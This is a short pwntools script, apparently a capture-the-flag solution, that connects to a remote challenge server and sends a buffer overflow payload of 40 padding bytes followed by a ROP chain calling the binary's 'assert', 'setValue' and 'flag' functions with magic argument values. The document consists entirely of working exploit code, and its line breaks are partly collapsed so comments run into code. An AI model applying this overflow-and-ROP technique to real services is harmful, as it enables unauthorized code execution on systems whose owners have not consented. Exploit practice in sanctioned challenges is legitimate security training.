```python from pwn import *context.log_level='debug'# flag = 0x400891
# p = process('./chall')p = remote('34.72.218.129','4444')elf = ELF('./chall')rop = ROP(elf)pop_rsi_r15 =0x0000000000400a91p.sendlineafter(">> ",'1')# gdb.attach(p)
payload = 'A'*40payload += p64(elf.sym['assert'])payload += p64(rop.rdi[0])payload += p64(0xDEADBEEF)payload += p64(elf.sym['setValue'])payload += p64(rop.rdi[0])payload += p64(0xDEADC0DE)payload += p64(pop_rsi_r15)payload += p64(0xDEAD10CC)payload += p64(0)payload += p64(elf.sym['flag'])
p.sendlineafter('name:\n',payload)
p.interactive()```